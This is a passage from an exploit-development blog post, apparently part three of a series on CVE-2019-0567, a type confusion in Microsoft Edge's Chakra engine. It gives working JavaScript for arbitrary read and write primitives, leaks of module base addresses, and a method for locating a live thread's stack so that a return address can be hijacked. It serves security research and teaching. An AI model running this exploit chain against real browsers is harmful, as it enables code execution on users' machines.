    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll</span>
    <span class="c1">// chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle</span>
    <span class="nx">kernelbaseLeak</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x5ee2b8</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

    <span class="c1">// KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address</span>
    <span class="nx">kernelbaseLo</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="nx">x18de0</span><span class="p">;</span>
    <span class="nx">kernelbaseHigh</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable</span>
    <span class="kd">var</span> <span class="nx">duplicateHandle</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernelbase.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// ---------------------------------------------------------------------------------------------</span>

    <span class="c1">// Print update with our type pointer</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] type pointer: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Spawn an alert dialogue to pause execution</span>
    <span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>As we can see, we have added a <code class="language-plaintext highlighter-rouge">document.write()</code> call to print out the address of our <code class="language-plaintext highlighter-rouge">type</code> pointer (from which we will leak a stack address) and then we also added an <code class="language-plaintext highlighter-rouge">alert()</code> call to create an “alert” dialogue. Since JavaScript will use temporary virtual memory (e.g. memory that isn’t really backed by disk in the form of a <code class="language-plaintext highlighter-rouge">0x7fff</code> address that is backed by a loaded DLL) for objects, this address is only “consistent” for the duration of the process. Think of this in terms of ASLR - when, on Windows, you reboot the system, you can expect images to be loaded at different addresses. This is synonymous with the longevity of the address/address space used for JavaScript objects, except that it is on a “per-script basis” and not a per-boot basis (“per-script” basis is a made-up word by myself to represent the fact the address of a JavaScript object will change after each time the JavaScript code is ran). This is the reason we have the <code class="language-plaintext highlighter-rouge">document.write()</code> call and <code class="language-plaintext highlighter-rouge">alert()</code> call. The <code class="language-plaintext highlighter-rouge">document.write()</code> call will give us the address of our <code class="language-plaintext highlighter-rouge">type</code> object, and the <code class="language-plaintext highlighter-rouge">alert()</code> dialogue will actually work, in essence, like a breakpoint in that it will pause execution of JavaScript, HTML, or CSS code until the “alert” dialogue has been dealt with. In other words, the JavaScript code cannot be fully executed until the dialogue is dealt with, meaning all of the JavaScript code is loaded into the content process and cannot be released until it is dealt with. This will allow us examine the <code class="language-plaintext highlighter-rouge">type</code> pointer <em>before</em> it goes out of scope, and so we can examine it. We will use this same “setup” (e.g. <code class="language-plaintext highlighter-rouge">alert()</code> calls) to our advantage in debugging in the future.</p>

<p>If we run our exploit two separate times, we can confirm our theory about the <code class="language-plaintext highlighter-rouge">type</code> pointer changing addresses each time the JavaScript executes</p>

<p><img src="/images/3typeconfusion19.png" alt="" /></p>

<p><img src="/images/3typeconfusion20.png" alt="" /></p>

<p>Now, for “real” this time, let’s open up <code class="language-plaintext highlighter-rouge">exploit.html</code> in Edge and click the <code class="language-plaintext highlighter-rouge">Click me to exploit CVE-2019-0567</code> button. This should bring up our “alert” dialogue.</p>

<p><img src="/images/3typeconfusion21.png" alt="" /></p>

<p>As we can see, the <code class="language-plaintext highlighter-rouge">type</code> pointer is located at <code class="language-plaintext highlighter-rouge">0x1ca40d69100</code> (note you won’t be able to use copy and paste with the dialogue available, so you will have to manually type this value). Now that we know the address of the <code class="language-plaintext highlighter-rouge">type</code> pointer, we can use Process Hacker to locate our content process.</p>

<p><img src="/images/3typeconfusion22.png" alt="" /></p>

<p>As we can see, the content process which uses the most RAM is PID <code class="language-plaintext highlighter-rouge">6464</code>. This is our content process, where our exploit is currently executing (although paused). We now can use WinDbg to attach to the process and examine the memory contents of <code class="language-plaintext highlighter-rouge">0x1ca40d69100</code>.</p>

<p><img src="/images/3typeconfusion23.png" alt="" /></p>

<p>After inspecting the memory contents, we can confirm that this is a valid address - meaning our <code class="language-plaintext highlighter-rouge">type</code> pointer hasn’t gone out of scope! Although a bit of an arduous process, this is how we can successfully debug Edge for our exploit development!</p>

<p>Using the Project Zero issue as a guide, and leveraging the process outlined in part two of this blog series, we can talk various pointers within this structure to fetch a stack address!</p>

<p><img src="/images/3typeconfusion24.png" alt="" /></p>

<p>The Google Project Zero <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1360">issue</a> explains that we essentially can just walk the <code class="language-plaintext highlighter-rouge">type</code> pointer to extract a <code class="language-plaintext highlighter-rouge">ScriptContext</code> structure which, in turn, contains <code class="language-plaintext highlighter-rouge">ThreadContext</code>. The <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure is responsible, as we have seen, for storing various stack addresses. Here are the offsets:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">type + 0x8</code> = <code class="language-plaintext highlighter-rouge">JavaScriptLibrary</code></li>
  <li><code class="language-plaintext highlighter-rouge">JavaScriptLibrary + 0x430</code> = <code class="language-plaintext highlighter-rouge">ScriptContext</code></li>
  <li><code class="language-plaintext highlighter-rouge">ScriptContext + 0x5c0</code> = <code class="language-plaintext highlighter-rouge">ThreadContext</code></li>
</ol>

<p>In our case, the <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure is located at <code class="language-plaintext highlighter-rouge">0x1ca3d72a000</code>.</p>

<p><img src="/images/3typeconfusion25.png" alt="" /></p>

<p>Previously, we leaked the <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> member of <code class="language-plaintext highlighter-rouge">ThreadContext</code>, which gave us essentially the stack limit for the exploiting thread. However, take a look at this address within Edge (located at <code class="language-plaintext highlighter-rouge">ThreadContext + 0x4f0</code>)</p>

<p><img src="/images/3typeconfusion26.png" alt="" /></p>

<p>If we try to examine the memory contents of this address, we can see they are not committed to memory. This obviously means this address doesn’t fall within the bounds of the TEB’s known stack address(es) for our current thread.</p>

<p><img src="/images/3typeconfusion27.png" alt="" /></p>

<p>As we can recall from part two, this was also the case. However, in ChakraCore, we could compute the offset from the leaked <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> <em>consistently</em> between exploit attempts. Let’s compute the distance from our leaked <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> with the actual stack limit from the TEB.</p>

<p><img src="/images/3typeconfusion28.png" alt="" /></p>

<p>Here, at this point in the exploit, the leaked stack address is <code class="language-plaintext highlighter-rouge">0x1cf0000</code> bytes away from the <em>actual</em> stack limit we leaked via the TEB. Let’s exit out of WinDbg and re-run our exploit, while also leaking our stack address within WinDbg.</p>

<p>Our <code class="language-plaintext highlighter-rouge">type</code> pointer is located at <code class="language-plaintext highlighter-rouge">0x157acb19100</code>.</p>

<p><img src="/images/3typeconfusion29.png" alt="" /></p>

<p>After attaching Edge to WinDbg and walking the <code class="language-plaintext highlighter-rouge">type</code> object, we can see our leaked stack address via <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code>.</p>

<p><img src="/images/3typeconfusion30.png" alt="" /></p>

<p><img src="/images/3typeconfusion31.png" alt="" /></p>

<p>As we can see above, when computing the offset, our offset has changed to being <code class="language-plaintext highlighter-rouge">0x1c90000</code> bytes away from the actual stack limit. This poses a problem for us, as we cannot reliable compute the offset to the stack limit. Since the stack limit saved in the <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure (<code class="language-plaintext highlighter-rouge">stackForCurrentThreadLimit</code>) is not committed to memory, we will actually get an access violation when attempting to dereference this memory. This means our exploit would be killed, meaning we also can’t “guess” the offset if we want our exploit to be reliable.</p>

<p>Before I pose the solution, I wanted to touch on something I first tried. Within the <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure, there is a global variable named <code class="language-plaintext highlighter-rouge">globalListFirst</code>. This seems to be a linked-list within a <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure which is used to track <em>other</em> instances of a <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure. At an offset of <code class="language-plaintext highlighter-rouge">0x10</code> within this list (consistently, I found, in every attempt I made) there is actually a pointer to the heap.</p>

<p><img src="/images/3typeconfusion32.png" alt="" /></p>

<p><img src="/images/3typeconfusion33.png" alt="" /></p>

<p>Since it is possible via <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> to at least leak an address <em>around</em> the current stack limit (with the upper 32-bits being the same across all stack addresses), and although there is a degree of variance between the offset from <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> and the actual current stack limit (around <code class="language-plaintext highlighter-rouge">0x1cX0000</code> bytes as we saw between our two stack leak attempts), I used my knowledge of the heap to do the following:</p>

<ol>
  <li>Leak the heap from <code class="language-plaintext highlighter-rouge">chakra!ThreadContext::globalListFirst</code></li>
  <li>Using the read primitive, scan the heap for any stack addresses that are greater than the leaked stack address from <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code></li>
</ol>

<p>I found that about 50-60% of the time I could reliably leak a stack address from the heap. From there, about 50% of the time the stack address that was leaked from the heap was committed to memory. However, there was a varying degree of “failing” - meaning I would often get an access violation on the leaked stack address from the heap. Although I was only succeeding in about half of the exploit attempts, this is <em>significantly</em> greater than trying to “guess” the offset from the <code class="language-plaintext highlighter-rouge">stackLimitForCurrenThread</code>. However, after I got frustrated with this, I saw there was a much easier approach.</p>

<p>The reason why I didn’t take this approach earlier, is because the <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> seemed to be from a thread stack which was no longer in memory. This can be seen below.</p>

<p><img src="/images/3typeconfusion34.png" alt="" /></p>

<p><img src="/images/3typeconfusion35.png" alt="" /></p>

<p>Looking at the above image, we can see only one active thread has a stack address that is anywhere near <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code>. However, if we look at the TEB for the single thread, the stack address we are leaking doesn’t fall anywhere within that range. This was disheartening for me, as I assumed any stack address I leaked from this <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure was from a thread which was no longer active and, thus, its stack address space being decommitted. However, in the Google Project Zero issue - <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> wasn’t the item leaked, it was <code class="language-plaintext highlighter-rouge">leafInterpreterFrame</code>. Since I had enjoyed success with <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code> in part two of this blog series, it didn’t cross my mind until much later to investigate this specific member.</p>

<p>If we take a look at the <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure, we can see that at offset <code class="language-plaintext highlighter-rouge">0x8f0</code> that there is a stack address.</p>

<p><img src="/images/3typeconfusion36.png" alt="" /></p>

<p>In fact, we can see <em>two</em> stack addresses. Both of them are committed to memory, as well!</p>

<p><img src="/images/3typeconfusion37.png" alt="" /></p>

<p>If we compare this to Ivan’s findings in the Project Zero issue, we can see that he leaks two stack addresses at offset <code class="language-plaintext highlighter-rouge">0x8a0</code> and <code class="language-plaintext highlighter-rouge">0x8a8</code>, just like we have leaked them at <code class="language-plaintext highlighter-rouge">0x8f0</code> and <code class="language-plaintext highlighter-rouge">0x8f8</code>. We can therefore infer that these are the same stack addresses from the <code class="language-plaintext highlighter-rouge">leafInterpreter</code> member of <code class="language-plaintext highlighter-rouge">ThreadContext</code>, and that we are likely on a different version of Windows that Ivan, which likely means a different version of Edge and, thus, the slight difference in offset. For our exploit, you can choose either of these addresses. I opted for <code class="language-plaintext highlighter-rouge">ThreadContext + 0x8f8</code>.</p>

<p>Additionally, if we look at the address itself (<code class="language-plaintext highlighter-rouge">0x1c2affaf60</code>), we can see that this address doesn’t reside within the current thread.</p>

<p><img src="/images/3typeconfusion38.png" alt="" /></p>

<p>However, we can clearly see that not only is this thread committed to memory, it is within the known bounds of <em>another</em> thread’s TEB tracking of the stack (note that the below diagram is confusing because the columns are unaligned. We are outlining the stack base and limit).</p>

<p><img src="/images/3typeconfusion39.png" alt="" /></p>

<p>This means we can reliably locate a stack address for a currently executing thread! It is perfectly okay if we end up hijacking a return address within <em>another</em> thread because as we have the ability to read/write anywhere within the process space, and because the level of “private” address space Windows uses is on a per-process basis, we can still hijack any thread from the current process. In essence, it is perfectly valid to corrupt a return address on <em>another</em> thread to gain code execution. The “lower level details” are abstracted away from us when it comes to this concept, because <em>regardless</em> of what return address we overwrite, or when the thread terminates, it will have to return control-flow somewhere in memory. Since threads are constantly executing functions, we know that at some point the thread we are dealing with will receive priority for execution and the return address will be executed. If this makes no sense, do not worry. Our concept hasn’t changed in terms of overwriting a return address (be it in the current thread or another thread). We are not changing anything, from a foundational perspective, in terms of our stack leak and return address corruption between this blog post and part two of this blog series.</p>

<p>With that being said, here is how our exploit now looks with our stack leak.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll</span>
    <span class="c1">// chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle</span>
    <span class="nx">kernelbaseLeak</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x5ee2b8</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

    <span class="c1">// KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address</span>
    <span class="nx">kernelbaseLo</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="mh">0x18de0</span><span class="p">;</span>
    <span class="nx">kernelbaseHigh</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

